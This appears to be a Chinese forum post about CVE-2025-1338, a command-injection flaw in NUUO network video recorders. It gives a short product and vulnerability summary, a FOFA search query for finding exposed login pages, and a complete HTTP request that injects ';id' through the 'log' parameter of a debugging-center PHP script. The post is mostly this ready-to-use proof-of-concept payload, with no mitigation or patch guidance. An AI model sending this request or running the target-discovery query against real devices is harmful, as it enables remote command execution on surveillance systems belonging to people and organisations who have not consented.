NUUO-Camera远程命令执行漏洞CVE-2025-1338
NUUO-Camera远程命令执行漏洞CVE-2025-1338一、NUUO-Camera简介
NUUO摄像头 是由中国台湾省NUUO公司生产的一款网络视频录像机（Network Video Recorder，简称NVR），广泛应用于零售、交通、教育、政府和银行等多个领域。
二、漏洞简介
NUUO Camera 20250203及之前版本存在注入漏洞，该漏洞源于handle_config.php和debugging_center_utils_.php中，参数log存在命令注入。
首次收录：2025年2月16日
影响版本：version<=20250203
漏洞编号：CVE-2025-1338
fofa：title=“网络录像机登录”
漏洞数据包:
GET /__debugging_center_utils___.php?log=;id HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
相关复现文章：
NUUO-Camera远程命令执行漏洞CVE-2025-1338 - 莫愁-博客
页:
[1]